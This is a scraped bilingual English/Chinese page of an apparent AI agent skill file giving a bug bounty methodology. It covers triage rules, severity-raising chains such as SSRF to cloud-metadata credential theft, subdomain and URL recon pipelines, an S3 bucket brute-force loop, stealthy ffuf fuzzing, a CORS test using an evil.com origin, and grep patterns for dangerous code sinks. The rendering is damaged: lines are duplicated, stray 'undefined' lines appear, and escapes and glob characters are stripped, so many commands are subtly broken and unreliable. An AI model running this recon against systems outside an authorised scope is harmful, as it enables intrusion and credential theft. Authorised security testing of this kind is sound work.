bug-bounty

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

Bug Bounty Master Workflow

漏洞赏金大师工作流

Full pipeline: Recon -> Learn -> Hunt -> Validate -> Report. One skill for everything.
完整流程:侦察 → 学习 → 挖掘 → 验证 → 报告。一个技能搞定所有。

THE ONLY QUESTION THAT MATTERS

唯一重要的问题

"Can an attacker do this RIGHT NOW against a real user who has taken NO unusual actions -- and does it cause real harm (stolen money, leaked PII, account takeover, code execution)?"
If the answer is NO -- STOP. Do not write. Do not explore further. Move on.
“攻击者现在能否针对未采取任何异常操作的真实用户执行此操作——且会造成实际危害(资金被盗、PII泄露、账户接管、代码执行)?”
如果答案是否——停止。不要撰写报告。不要进一步探索。继续下一个目标。

Theoretical Bug = Wasted Time. Kill These Immediately:

理论漏洞 = 浪费时间。立即放弃这些:

PatternKill Reason
"Could theoretically allow..."Not exploitable = not a bug
"An attacker with X, Y, Z conditions could..."Too many preconditions
"Wrong implementation but no practical impact"Wrong but harmless = not a bug
Dead code with a bug in itNot reachable = not a bug
Source maps without secretsNo impact
SSRF with DNS-only callbackNeed data exfil or internal access
Open redirect aloneNeed ATO or OAuth chain
"Could be used in a chain if..."Build the chain first, THEN report
You must demonstrate actual harm. "Could" is not a bug. Prove it works or drop it.

模式放弃原因
“理论上可能允许...”无法利用 = 不是漏洞
“具备X、Y、Z条件的攻击者可能...”前置条件过多
“实现错误但无实际影响”错误但无害 = 不是漏洞
包含漏洞的死代码无法访问 = 不是漏洞
无密钥的源映射无影响
仅DNS回调的SSRF需要数据泄露或内部访问
单独的开放重定向需要ATO或OAuth链
“如果...可用于链攻击”先构建攻击链,再报告
你必须证明实际危害。“可能”不是漏洞。要么证明它可行,要么放弃。

CRITICAL RULES

关键规则

  1. READ FULL SCOPE FIRST -- verify every asset/domain is owned by the target org
  2. NO THEORETICAL BUGS -- "Can an attacker steal funds, leak PII, takeover account, or execute code RIGHT NOW?" If no, STOP.
  3. KILL WEAK FINDINGS FAST -- run the 7-Question Gate BEFORE writing any report
  4. Validate before writing -- check CHANGELOG, design docs, deployment scripts FIRST
  5. One bug class at a time -- go deep, don't spray
  6. Verify data isn't already public -- check web UI in incognito before reporting API "leaks"
  7. 5-MINUTE RULE -- if a target shows nothing after 5 min probing (all 401/403/404), MOVE ON
  8. IMPACT-FIRST HUNTING -- ask "what's the worst thing if auth was broken?" If nothing valuable, skip target
  9. CREDENTIAL LEAKS need exploitation proof -- finding keys isn't enough, must PROVE what they access
  10. STOP SHALLOW RECON SPIRALS -- don't probe 403s, don't grep for analytics keys, don't check staging domains that lead nowhere
  11. BUSINESS IMPACT over vuln class -- severity depends on CONTEXT, not just vuln type
  12. UNDERSTAND THE TARGET DEEPLY -- before hunting, learn the app like a real user
  13. DON'T OVER-RELY ON AUTOMATION -- automated scans hit WAFs, trigger rate limits, find the same bugs everyone else finds
  14. HUNT LESS-SATURATED VULN CLASSES -- XSS/SSRF/XXE have the most competition. Expand into: cache poisoning, Android/mobile vulns, business logic, race conditions, OAuth/OIDC chains, CI/CD pipeline attacks
  15. ONE-HOUR RULE -- stuck on one target for an hour with no progress? SWITCH CONTEXT
  16. TWO-EYE APPROACH -- combine systematic testing (checklist) with anomaly detection (watch for unexpected behavior)
  17. T-SHAPED KNOWLEDGE -- go DEEP in one area and BROAD across everything else
For the full hunting methodology — 5-phase non-linear workflow, developer psychology framework, session discipline, tool routing by phase, and Wide/Deep route selection — see
skills/bb-methodology/SKILL.md
.

  1. 先阅读完整范围——验证每个资产/域名都属于目标组织
  2. 拒绝理论漏洞——“攻击者现在能否窃取资金、泄露PII、接管账户或执行代码?”如果不能,停止。
  3. 快速放弃弱发现——撰写任何报告前先运行7问题审核门
  4. 撰写前验证——先检查变更日志、设计文档、部署脚本
  5. 一次专注一个漏洞类别——深入挖掘,不要广撒网
  6. 验证数据是否已公开——报告API“泄露”前先在隐身模式下检查Web UI
  7. 5分钟规则——如果目标在5分钟探测后无任何发现(全是401/403/404),继续下一个目标
  8. 以影响为先的挖掘——问“如果身份验证被攻破,最坏情况是什么?”如果没有有价值的东西,跳过目标
  9. 凭证泄露需要利用证明——找到密钥还不够,必须证明它们能访问什么
  10. 停止浅层侦察循环——不要探测403页面,不要grep分析密钥,不要检查无意义的 staging 域名
  11. 业务影响优先于漏洞类别——严重程度取决于上下文,而非仅漏洞类型
  12. 深入了解目标——挖掘前,像真实用户一样使用应用
  13. 不要过度依赖自动化——自动化扫描会触发WAF、速率限制,发现的都是其他人也能发现的漏洞
  14. 挖掘竞争较少的漏洞类别——XSS/SSRF/XXE竞争最激烈。扩展到:缓存投毒、Android/移动漏洞、业务逻辑、竞争条件、OAuth/OIDC链、CI/CD管道攻击
  15. 一小时规则——在一个目标上卡了一小时无进展?切换上下文
  16. 双眼法——结合系统性测试(清单)与异常检测(关注意外行为)
  17. T型知识——在一个领域深入,同时广泛了解所有领域
完整挖掘方法论——5阶段非线性工作流、开发者心理框架、会话纪律、分阶段工具路线、宽/深路线选择——详见
skills/bb-methodology/SKILL.md

A->B BUG SIGNAL METHOD (Cluster Hunting)

A→B漏洞信号法(集群挖掘)

When you find bug A, systematically hunt for B and C nearby. This is one of the most powerful methodologies in bug bounty. Single bugs pay. Chains pay 3-10x more.
**当你发现漏洞A时,系统性地寻找附近的漏洞B和C。**这是漏洞赏金中最强大的方法论之一。单个漏洞有赏金,链攻击赏金是3-10倍。

Known A->B->C Chains

已知A→B→C链

Bug A (Signal)Hunt for Bug BEscalate to C
IDOR (read)PUT/DELETE on same endpointFull account data manipulation
SSRF (any)Cloud metadata 169.254.169.254IAM credential exfil -> RCE
XSS (stored)Check if HttpOnly is set on session cookieSession hijack -> ATO
Open redirectOAuth redirect_uri accepts your domainAuth code theft -> ATO
S3 bucket listingEnumerate JS bundlesGrep for OAuth client_secret -> OAuth chain
Rate limit bypassOTP brute forceAccount takeover
GraphQL introspectionMissing field-level authMass PII exfil
Debug endpointLeaked environment variablesCloud credential -> infrastructure access
CORS reflects originTest with credentials: includeCredentialed data theft
Host header injectionPassword reset poisoningATO via reset link
漏洞A(信号)寻找漏洞B升级到C
IDOR(读取)同一端点上的PUT/DELETE完整账户数据操纵
SSRF(任意)云元数据169.254.169.254IAM凭证泄露 → RCE
XSS(存储型)检查会话Cookie是否设置HttpOnly会话劫持 → ATO
开放重定向OAuth redirect_uri接受你的域名授权码窃取 → ATO
S3桶列表枚举JS包Grep OAuth client_secret → OAuth链
速率限制绕过OTP暴力破解账户接管
GraphQL自省缺少字段级身份验证大规模PII泄露
调试端点泄露环境变量云凭证 → 基础设施访问
CORS反射源使用credentials: include测试带凭证的数据窃取
Host头注入密码重置投毒通过重置链接实现ATO

Cluster Hunt Protocol (6 Steps)

集群挖掘协议(6步骤)

1. CONFIRM A     Verify bug A is real with an HTTP request
2. MAP SIBLINGS  Find all endpoints in the same controller/module/API group
3. TEST SIBLINGS Apply the same bug pattern to every sibling
4. CHAIN         If sibling has different bug class, try combining A + B
5. QUANTIFY      "Affects N users" / "exposes $X value" / "N records"
6. REPORT        One report per chain (not per bug). Chains pay more.
1. 确认A     用HTTP请求验证漏洞A真实存在
2. 映射同级端点  找到同一控制器/模块/API组中的所有端点
3. 测试同级端点  对每个同级端点应用相同的漏洞模式
4. 链攻击         如果同级端点有不同漏洞类别,尝试组合A + B
5. 量化影响      “影响N个用户” / “暴露X价值” / “N条记录”
6. 报告           每个链攻击一份报告(而非每个漏洞一份)。链攻击赏金更高。

Real Examples

真实案例

Coinbase S3->Bundle->Secret->OAuth chain:
A: S3 bucket publicly listable (Low alone)
B: JS bundles contain OAuth client credentials
C: OAuth flow missing PKCE enforcement
Result: Full auth code interception chain
Vienna Chatbot chain:
A: Debug parameter active in production (Info alone)
B: Chatbot renders HTML in response (dangerouslySetInnerHTML)
C: Stored XSS via bot response visible to other users
Result: P2 finding with real impact

Coinbase S3→Bundle→Secret→OAuth链:
A: S3桶可公开列出(单独为低危)
B: JS包包含OAuth客户端凭证
C: OAuth流程缺少PKCE强制
结果:完整授权码拦截链
Vienna聊天机器人链:
A: 生产环境中调试参数激活(单独为信息级)
B: 聊天机器人在响应中渲染HTML(dangerouslySetInnerHTML)
C: 通过机器人响应实现存储型XSS,对其他用户可见
结果:P2级发现,有实际影响

TOP 1% HACKER MINDSET

前1%黑客思维

How Elite Hackers Think Differently

精英黑客的思考方式有何不同

Average hunter: Runs tools, checks checklist, gives up after 30 min. Top 1%: Builds a mental model of the app's internals. Asks "why does this work the way it does?" Not "what does this endpoint do?" but "what business decision led a developer to build it this way, and what shortcut might they have taken?"
普通挖掘者:运行工具,检查清单,30分钟后放弃。 前1%挖掘者:构建应用内部的心智模型。问“为什么它这样工作?”而非“这个端点做什么?”,而是“什么业务决策导致开发者这样构建它,他们可能采取了什么捷径?”

Pre-Hunt Mental Framework

狩猎前心智框架

Step 1: Crown Jewel Thinking

步骤1:皇冠珠宝思维

Before touching anything, ask: "If I were the attacker and I could do ONE thing to this app, what causes the most damage?"
  • Financial app -> drain funds, transfer to attacker account
  • Healthcare -> PII leak, HIPAA violation
  • SaaS -> tenant data crossing, admin takeover
  • Auth provider -> full SSO chain compromise
在接触任何东西之前,问:“如果我是攻击者,我能对这个应用做的一件最具破坏性的事情是什么?”
  • 金融应用 → drain资金,转移到攻击者账户
  • 医疗保健 → PII泄露,HIPAA违规
  • SaaS → 租户数据交叉,管理员接管
  • 身份验证提供商 → 完整SSO链 compromise

Step 2: Developer Empathy

步骤2:开发者同理心

Think like the developer who built the feature:
  • What was the simplest implementation?
  • What shortcut would a tired dev take at 2am?
  • Where is auth checked -- controller? middleware? DB layer?
  • What happens when you call endpoint B without going through endpoint A first?
像构建功能的开发者一样思考:
  • 最简单的实现是什么?
  • 疲惫的开发者在凌晨2点会采取什么捷径?
  • 身份验证在哪里检查——控制器?中间件?数据库层?
  • 不经过端点A直接调用端点B会发生什么?

Step 3: Trust Boundary Mapping

步骤3:信任边界映射

Client -> CDN -> Load Balancer -> App Server -> Database
         ^               ^              ^
    Where does app STOP trusting input?
    Where does it ASSUME input is already validated?
客户端 → CDN → 负载均衡器 → 应用服务器 → 数据库
         ^               ^              ^
    应用在哪里停止信任输入?
    它在哪里假设输入已被验证?

Step 4: Feature Interaction Thinking

步骤4:功能交互思维

  • Does this new feature reuse old auth, or does it have its own?
  • Does the mobile API share auth logic with the web app?
  • Was this feature built by the same team or a third-party?
  • 这个新功能是否重用旧身份验证,还是有自己的身份验证?
  • 移动API是否与Web应用共享身份验证逻辑?
  • 这个功能是由同一团队还是第三方构建的?

The Top 1% Mental Checklist

前1%心智清单

  • I know the app's core business model
  • I've used the app as a real user for 15+ minutes
  • I know the tech stack (language, framework, auth system, caching)
  • I've read at least 3 disclosed reports for this program
  • I have 2 test accounts ready (attacker + victim)
  • I've defined my primary target: ONE crown jewel I'm hunting for today
  • 我了解应用的核心业务模型
  • 我作为真实用户使用应用15分钟以上
  • 我了解技术栈(语言、框架、身份验证系统、缓存)
  • 我阅读了该项目至少3份已披露报告
  • 我准备了2个测试账户(攻击者 + 受害者)
  • 我定义了主要目标:今天要挖掘的一个皇冠珠宝

Mindset Rules from Top Hunters

顶级挖掘者的思维规则

"Hunt the feature, not the endpoint" -- Find all endpoints that serve a feature, then test the INTERACTION between them.
"Authorization inconsistency is your friend" -- If the app checks auth in 9 places but not the 10th, that's your bug.
"New == unreviewed" -- Features launched in the last 30 days have lowest security maturity.
"Think second-order" -- Second-order SSRF: URL saved in DB, fetched by cron job. Second-order XSS: stored clean, rendered unsafely in admin panel.
"Follow the money" -- Any feature touching payments, billing, credits, refunds is where developers make the most security shortcuts.
"The API the mobile app uses" -- Mobile apps often call older/different API versions. Same company, different attack surface, lower maturity.
"Diffs find bugs" -- Compare old API docs vs new. Compare mobile API vs web API. Compare what a free user can request vs what a paid user gets in response.

“挖掘功能,而非端点”——找到服务于某个功能的所有端点,然后测试它们之间的交互。
“授权不一致是你的朋友”——如果应用在9个地方检查身份验证,但第10个地方不检查,那就是你的漏洞。
“新功能 == 未审核”——过去30天内推出的功能安全成熟度最低。
“考虑二阶影响”——二阶SSRF:URL保存在数据库中,由定时任务获取。二阶XSS:存储时被清理,在管理面板中不安全地渲染。
“跟随资金流向”——任何涉及支付、计费、信用、退款的功能,都是开发者最容易在安全上走捷径的地方。
“移动应用使用的API”——移动应用通常调用更旧/不同版本的API。同一家公司,不同攻击面,成熟度更低。
“差异发现漏洞”——比较旧API文档与新文档。比较移动API与Web API。比较免费用户可请求的内容与付费用户在响应中得到的内容。

TOOLS

工具

Go Binaries

Go二进制工具

ToolUse
subfinderPassive subdomain enum
httpxProbe live hosts
dnsxDNS resolution
nucleiTemplate scanner
katanaCrawl
waybackurlsArchive URLs
gauKnown URLs
dalfoxXSS scanner
ffufFuzzer
anewDedup append
qsreplaceReplace param values
assetfinderSubdomain enum
gfGrep patterns (xss, sqli, ssrf, redirect)
interactsh-clientOOB callbacks
工具用途
subfinder被动子域名枚举
httpx探测存活主机
dnsxDNS解析
nuclei模板扫描器
katana爬虫
waybackurls归档URL
gau已知URL
dalfoxXSS扫描器
ffuf模糊测试器
anew去重追加
qsreplace替换参数值
assetfinder子域名枚举
gfGrep模式(xss, sqli, ssrf, redirect)
interactsh-clientOOB回调

Tools to Install When Needed

需要时安装的工具

ToolUseInstall
arjunHidden parameter discovery
pip3 install arjun
paramspiderURL parameter mining
pip3 install paramspider
kiterunnerAPI endpoint brute
go install github.com/assetnote/kiterunner/cmd/kr@latest
cloudenumCloud asset enumeration
pip3 install cloud_enum
trufflehogSecret scanning
brew install trufflehog
gitleaksSecret scanning
brew install gitleaks
XSStrikeAdvanced XSS scanner
pip3 install xsstrike
SecretFinderJS secret extraction
pip3 install secretfinder
sqlmapSQL injection
pip3 install sqlmap
subzySubdomain takeover
go install github.com/LukaSikic/subzy@latest
工具用途安装命令
arjun隐藏参数发现
pip3 install arjun
paramspiderURL参数挖掘
pip3 install paramspider
kiterunnerAPI端点暴力破解
go install github.com/assetnote/kiterunner/cmd/kr@latest
cloudenum云资产枚举
pip3 install cloud_enum
trufflehog密钥扫描
brew install trufflehog
gitleaks密钥扫描
brew install gitleaks
XSStrike高级XSS扫描器
pip3 install xsstrike
SecretFinderJS密钥提取
pip3 install secretfinder
sqlmapSQL注入
pip3 install sqlmap
subzy子域名接管
go install github.com/LukaSikic/subzy@latest

Static Analysis (Semgrep Quick Audit)

静态分析(Semgrep快速审计)

bash
undefined
bash
undefined

Install: pip3 install semgrep

安装:pip3 install semgrep

Broad security audit

广泛安全审计

semgrep --config=p/security-audit ./ semgrep --config=p/owasp-top-ten ./
semgrep --config=p/security-audit ./ semgrep --config=p/owasp-top-ten ./

Language-specific rulesets

特定语言规则集

semgrep --config=p/javascript ./src/ semgrep --config=p/python ./ semgrep --config=p/golang ./ semgrep --config=p/php ./ semgrep --config=p/nodejs ./
semgrep --config=p/javascript ./src/ semgrep --config=p/python ./ semgrep --config=p/golang ./ semgrep --config=p/php ./ semgrep --config=p/nodejs ./

Targeted rules

目标规则

semgrep --config=p/sql-injection ./ semgrep --config=p/jwt ./
semgrep --config=p/sql-injection ./ semgrep --config=p/jwt ./

Custom pattern (example: find SQL concat in Python)

自定义模式(示例:在Python中查找SQL拼接)

semgrep --pattern 'cursor.execute("..." + $X)' --lang python .
semgrep --pattern 'cursor.execute("..." + $X)' --lang python .

Output to file for analysis

输出到文件进行分析

semgrep --config=p/security-audit ./ --json -o semgrep-results.json 2>/dev/null cat semgrep-results.json | jq '.results[] | select(.extra.severity == "ERROR") | {path:.path, check:.check_id, msg:.extra.message}'
undefined
semgrep --config=p/security-audit ./ --json -o semgrep-results.json 2>/dev/null cat semgrep-results.json | jq '.results[] | select(.extra.severity == "ERROR") | {path:.path, check:.check_id, msg:.extra.message}'
undefined

FFUF Advanced Techniques

FFUF高级技巧

bash
undefined
bash
undefined

THE ONE RULE: Always use -ac (auto-calibrate filters noise automatically)

唯一规则:始终使用-ac(自动校准,自动过滤噪声)

ffuf -w wordlist.txt -u https://target.com/FUZZ -ac
ffuf -w wordlist.txt -u https://target.com/FUZZ -ac

Authenticated raw request file — IDOR testing (save Burp request to req.txt, replace ID with FUZZ)

已认证原始请求文件 — IDOR测试(将Burp请求保存到req.txt,将ID替换为FUZZ)

seq 1 10000 | ffuf --request req.txt -w - -ac
seq 1 10000 | ffuf --request req.txt -w - -ac

Authenticated API endpoint brute

已认证API端点暴力破解

ffuf -u https://TARGET/api/FUZZ -w wordlist.txt -H "Cookie: session=TOKEN" -ac
ffuf -u https://TARGET/api/FUZZ -w wordlist.txt -H "Cookie: session=TOKEN" -ac

Parameter discovery

参数发现

ffuf -w ~/wordlists/burp-parameter-names.txt -u "https://target.com/api/endpoint?FUZZ=test" -ac -mc 200
ffuf -w ~/wordlists/burp-parameter-names.txt -u "https://target.com/api/endpoint?FUZZ=test" -ac -mc 200

Hidden POST parameters

隐藏POST参数

ffuf -w ~/wordlists/burp-parameter-names.txt -X POST -d "FUZZ=test" -u "https://target.com/api/endpoint" -ac
ffuf -w ~/wordlists/burp-parameter-names.txt -X POST -d "FUZZ=test" -u "https://target.com/api/endpoint" -ac

Subdomain scan

子域名扫描

ffuf -w subs.txt -u https://FUZZ.target.com -ac
ffuf -w subs.txt -u https://FUZZ.target.com -ac

Filter strategies:

过滤策略:

-fc 404,403 Filter status codes

-fc 404,403 过滤状态码

-fs 1234 Filter by response size

-fs 1234 按响应大小过滤

-fw 50 Filter by word count

-fw 50 按单词数过滤

-fr "not found" Filter regex in response body

-fr "not found" 按响应体中的正则过滤

-rate 5 -t 10 Rate limit + fewer threads for stealth

-rate 5 -t 10 速率限制 + 更少线程以实现 stealth

-e .php,.bak,.old Add extensions

-e .php,.bak,.old 添加扩展名

-o results.json Save output

-o results.json 保存输出

undefined
undefined

AI-Assisted Tools

AI辅助工具

  • strix (usestrix.com) -- open-source AI scanner for automated initial sweep

  • strix (usestrix.com) — 开源AI扫描器,用于自动化初始扫描

PHASE 1: RECON

阶段1:侦察

Standard Recon Pipeline

标准侦察流程

bash
undefined
bash
undefined

Step 1: Subdomains

步骤1:子域名

subfinder -d TARGET -silent | anew /tmp/subs.txt assetfinder --subs-only TARGET | anew /tmp/subs.txt
subfinder -d TARGET -silent | anew /tmp/subs.txt assetfinder --subs-only TARGET | anew /tmp/subs.txt

Step 2: Resolve + live hosts

步骤2:解析 + 存活主机

cat /tmp/subs.txt | dnsx -silent | httpx -silent -status-code -title -tech-detect -o /tmp/live.txt
cat /tmp/subs.txt | dnsx -silent | httpx -silent -status-code -title -tech-detect -o /tmp/live.txt

Step 3: URL collection

步骤3:URL收集

cat /tmp/live.txt | awk '{print $1}' | katana -d 3 -silent | anew /tmp/urls.txt echo TARGET | waybackurls | anew /tmp/urls.txt gau TARGET | anew /tmp/urls.txt
cat /tmp/live.txt | awk '{print $1}' | katana -d 3 -silent | anew /tmp/urls.txt echo TARGET | waybackurls | anew /tmp/urls.txt gau TARGET | anew /tmp/urls.txt

Step 4: Nuclei scan

步骤4:Nuclei扫描

nuclei -l /tmp/live.txt -severity critical,high,medium -silent -o /tmp/nuclei.txt
nuclei -l /tmp/live.txt -severity critical,high,medium -silent -o /tmp/nuclei.txt

Step 5: JS secrets

步骤5:JS密钥

cat /tmp/urls.txt | grep ".js$" | sort -u > /tmp/jsfiles.txt
cat /tmp/urls.txt | grep ".js$" | sort -u > /tmp/jsfiles.txt

Run SecretFinder on each JS file

在每个JS文件上运行SecretFinder

Step 6: GitHub dorking (if target has public repos)

步骤6:GitHub dorking(如果目标有公共仓库)

GitDorker -org TARGET_ORG -d dorks/alldorksv3

GitDorker -org TARGET_ORG -d dorks/alldorksv3

undefined
undefined

Cloud Asset Enumeration

云资产枚举

bash
undefined
bash
undefined

Manual S3 brute

手动S3暴力破解

for suffix in dev staging test backup api data assets static cdn; do code=$(curl -s -o /dev/null -w "%{http_code}" "https://${TARGET}-${suffix}.s3.amazonaws.com/") [ "$code" != "404" ] && echo "$code ${TARGET}-${suffix}.s3.amazonaws.com" done
undefined
for suffix in dev staging test backup api data assets static cdn; do code=$(curl -s -o /dev/null -w "%{http_code}" "https://${TARGET}-${suffix}.s3.amazonaws.com/") [ "$code" != "404" ] && echo "$code ${TARGET}-${suffix}.s3.amazonaws.com" done
undefined

API Endpoint Discovery

API端点发现

bash
undefined
bash
undefined

ffuf API endpoint brute

ffuf API端点暴力破解

ffuf -u https://TARGET/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt -mc 200,201,301,302,403 -ac
undefined
ffuf -u https://TARGET/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt -mc 200,201,301,302,403 -ac
undefined

HackerOne Scope Retrieval

HackerOne范围获取

bash
curl -s "https://hackerone.com/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"query { team(handle: \"PROGRAM_HANDLE\") { name url policy_scopes(archived: false) { edges { node { asset_type asset_identifier eligible_for_bounty instruction } } } } }"}' \
  | jq '.data.team.policy_scopes.edges[].node'
bash
curl -s "https://hackerone.com/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"query { team(handle: \"PROGRAM_HANDLE\") { name url policy_scopes(archived: false) { edges { node { asset_type asset_identifier eligible_for_bounty instruction } } } } }"}' \
  | jq '.data.team.policy_scopes.edges[].node'

Quick Wins Checklist

快速胜利清单

  • Subdomain takeover (
    subjack
    ,
    subzy
    )
  • Exposed
    .git
    (
    /.git/config
    )
  • Exposed env files (
    /.env
    ,
    /.env.local
    )
  • Default credentials on admin panels
  • JS secrets (SecretFinder, jsluice)
  • Open redirects (
    ?redirect=
    ,
    ?next=
    ,
    ?url=
    )
  • CORS misconfig (test
    Origin: https://evil.com
    + credentials)
  • S3/cloud buckets
  • GraphQL introspection enabled
  • Spring actuators (
    /actuator/env
    ,
    /actuator/heapdump
    )
  • Firebase open read (
    https://TARGET.firebaseio.com/.json
    )
  • 子域名接管 (
    subjack
    ,
    subzy
    )
  • 暴露的
    .git
    (
    /.git/config
    )
  • 暴露的环境文件 (
    /.env
    ,
    /.env.local
    )
  • 管理面板默认凭证
  • JS密钥 (SecretFinder, jsluice)
  • 开放重定向 (
    ?redirect=
    ,
    ?next=
    ,
    ?url=
    )
  • CORS配置错误(测试
    Origin: https://evil.com
    + 凭证)
  • S3/云桶
  • GraphQL自省启用
  • Spring actuators (
    /actuator/env
    ,
    /actuator/heapdump
    )
  • Firebase开放读取 (
    https://TARGET.firebaseio.com/.json
    )

Technology Fingerprinting

技术指纹识别

SignalTechnology
Cookie:
XSRF-TOKEN
+
*_session
Laravel
Cookie:
PHPSESSID
PHP
Header:
X-Powered-By: Express
Node.js/Express
Response:
wp-json
/
wp-content
WordPress
Response:
{"errors":[{"message":
GraphQL
Header:
X-Powered-By: Next.js
Next.js
信号技术
Cookie:
XSRF-TOKEN
+
*_session
Laravel
Cookie:
PHPSESSID
PHP
Header:
X-Powered-By: Express
Node.js/Express
Response:
wp-json
/
wp-content
WordPress
Response:
{"errors":[{"message":
GraphQL
Header:
X-Powered-By: Next.js
Next.js

Framework Quick Wins

框架快速胜利

Laravel:
/horizon
,
/telescope
,
/.env
,
/storage/logs/laravel.log
WordPress:
/wp-json/wp/v2/users
,
/xmlrpc.php
,
/?author=1
Node.js:
/.env
,
/graphql
(introspection),
/_debug
AWS Cognito:
/oauth2/userInfo
(leaks Pool ID), CORS reflects arbitrary origins
Laravel:
/horizon
,
/telescope
,
/.env
,
/storage/logs/laravel.log
WordPress:
/wp-json/wp/v2/users
,
/xmlrpc.php
,
/?author=1
Node.js:
/.env
,
/graphql
(自省),
/_debug
AWS Cognito:
/oauth2/userInfo
(泄露Pool ID), CORS反射任意源

Source Code Recon

源代码侦察

bash
undefined
bash
undefined

Security surface

安全面

cat SECURITY.md 2>/dev/null; cat CHANGELOG.md | head -100 | grep -i "security|fix|CVE" git log --oneline --all --grep="security|CVE|fix|vuln" | head -20
cat SECURITY.md 2>/dev/null; cat CHANGELOG.md | head -100 | grep -i "security|fix|CVE" git log --oneline --all --grep="security|CVE|fix|vuln" | head -20

Dev breadcrumbs

开发者痕迹

grep -rn "TODO|FIXME|HACK|UNSAFE" --include=".ts" --include=".js" | grep -iv "test|spec"
grep -rn "TODO|FIXME|HACK|UNSAFE" --include=".ts" --include=".js" | grep -iv "test|spec"

Dangerous patterns (JS/TS)

危险模式(JS/TS)

grep -rn "eval(|innerHTML|dangerouslySetInner|execSync" --include=".ts" --include=".js" | grep -v node_modules grep -rn "===.token|===.secret|===.hash" --include=".ts" --include=".js" grep -rn "fetch(|axios." --include=".ts" | grep "req.|params.|query."
grep -rn "eval(|innerHTML|dangerouslySetInner|execSync" --include=".ts" --include=".js" | grep -v node_modules grep -rn "===.token|===.secret|===.hash" --include=".ts" --include=".js" grep -rn "fetch(|axios." --include=".ts" | grep "req.|params.|query."

Dangerous patterns (Solidity)

危险模式(Solidity)

grep -rn "tx.origin|delegatecall|selfdestruct|block.timestamp" --include="*.sol"
undefined
grep -rn "tx.origin|delegatecall|selfdestruct|block.timestamp" --include="*.sol"
undefined

Language-Specific Grep Patterns

特定语言Grep模式

bash
undefined
bash
undefined

JavaScript/TypeScript -- prototype pollution, postMessage, RCE sinks

JavaScript/TypeScript — 原型污染, postMessage, RCE sink

grep -rn "proto|constructor[" --include=".js" --include=".ts" | grep -v node_modules grep -rn "postMessage|addEventListener.message" --include=".js" | grep -v node_modules grep -rn "child_process|execSync|spawn(" --include="*.js" | grep -v node_modules
grep -rn "proto|constructor[" --include=".js" --include=".ts" | grep -v node_modules grep -rn "postMessage|addEventListener.message" --include=".js" | grep -v node_modules grep -rn "child_process|execSync|spawn(" --include="*.js" | grep -v node_modules

Python -- pickle, yaml.load, eval, shell injection

Python — pickle, yaml.load, eval, shell注入

grep -rn "pickle.loads|yaml.load|eval(" --include=".py" | grep -v test grep -rn "subprocess|os.system|os.popen" --include=".py" | grep -v test grep -rn "import|exec(" --include="*.py"
grep -rn "pickle.loads|yaml.load|eval(" --include=".py" | grep -v test grep -rn "subprocess|os.system|os.popen" --include=".py" | grep -v test grep -rn "import|exec(" --include="*.py"

PHP -- type juggling, unserialize, LFI

PHP — 类型混淆, unserialize, LFI

grep -rn "unserialize|eval(|preg_replace.e" --include=".php" grep -rn "==.*password|==.token|==.hash" --include=".php" grep -rn "$_GET|$_POST|$_REQUEST" --include=".php" | grep "include|require|file_get"
grep -rn "unserialize|eval(|preg_replace.e" --include=".php" grep -rn "==.*password|==.token|==.hash" --include=".php" grep -rn "$_GET|$_POST|$_REQUEST" --include=".php" | grep "include|require|file_get"

Go -- template.HTML, race conditions

Go — template.HTML, 竞争条件

grep -rn "template.HTML|template.JS|template.URL" --include=".go" grep -rn "go func|sync.Mutex|atomic." --include=".go"
grep -rn "template.HTML|template.JS|template.URL" --include=".go" grep -rn "go func|sync.Mutex|atomic." --include=".go"

Ruby -- YAML.load, mass assignment

Ruby — YAML.load, 批量赋值

grep -rn "YAML.load[^_]|Marshal.load|eval(" --include=".rb" grep -rn "attr_accessible|permit(" --include=".rb"
grep -rn "YAML.load[^_]|Marshal.load|eval(" --include=".rb" grep -rn "attr_accessible|permit(" --include=".rb"

Rust -- panic on network input, unsafe blocks

Rust — 网络输入触发panic, unsafe块

grep -rn ".unwrap()|.expect(" --include=".rs" | grep -v "test|encode|to_bytes|serialize" grep -rn "unsafe {" --include=".rs" -B5 | grep "read|recv|parse|decode" grep -rn "as u8|as u16|as u32|as usize" --include="*.rs" | grep -v "checked|saturating|wrapping"

---
grep -rn ".unwrap()|.expect(" --include=".rs" | grep -v "test|encode|to_bytes|serialize" grep -rn "unsafe {" --include=".rs" -B5 | grep "read|recv|parse|decode" grep -rn "as u8|as u16|as u32|as usize" --include="*.rs" | grep -v "checked|saturating|wrapping"

---

PHASE 2: LEARN (Pre-Hunt Intelligence)

阶段2:学习(狩猎前情报)

Read Disclosed Reports

阅读已披露报告

bash
undefined
bash
undefined

By program on HackerOne

HackerOne上按项目查询

curl -s "https://hackerone.com/graphql"
-H "Content-Type: application/json"
-d '{"query":"{ hacktivity_items(first:25, order_by:{field:popular, direction:DESC}, where:{team:{handle:{_eq:"PROGRAM"}}}) { nodes { ... on HacktivityDocument { report { title severity_rating } } } } }"}'
| jq '.data.hacktivity_items.nodes[].report'
undefined
curl -s "https://hackerone.com/graphql"
-H "Content-Type: application/json"
-d '{"query":"{ hacktivity_items(first:25, order_by:{field:popular, direction:DESC}, where:{team:{handle:{_eq:"PROGRAM"}}}) { nodes { ... on HacktivityDocument { report { title severity_rating } } } } }"}'
| jq '.data.hacktivity_items.nodes[].report'
undefined

"What Changed" Method

“变化点”方法

  1. Find disclosed report for similar tech
  2. Get the fix commit
  3. Read the diff -- identify the anti-pattern
  4. Grep your target for that same anti-pattern
  1. 找到类似技术的已披露报告
  2. 获取修复提交
  3. 阅读差异——识别反模式
  4. 在目标中grep相同的反模式

Threat Model Template

威胁模型模板

TARGET: _______________
CROWN JEWELS: 1.___ 2.___ 3.___
ATTACK SURFACE:
  [ ] Unauthenticated: login, register, password reset, public APIs
  [ ] Authenticated: all user-facing endpoints, file uploads, API calls
  [ ] Cross-tenant: org/team/workspace ID parameters
  [ ] Admin: /admin, /internal, /debug
HIGHEST PRIORITY (crown jewel x easiest entry):
  1.___ 2.___ 3.___
目标: _______________
皇冠珠宝: 1.___ 2.___ 3.___
攻击面:
  [ ] 未认证: 登录, 注册, 密码重置, 公共API
  [ ] 已认证: 所有用户可见端点, 文件上传, API调用
  [ ] 跨租户: 组织/团队/工作区ID参数
  [ ] 管理员: /admin, /internal, /debug
最高优先级(皇冠珠宝 × 最易入口):
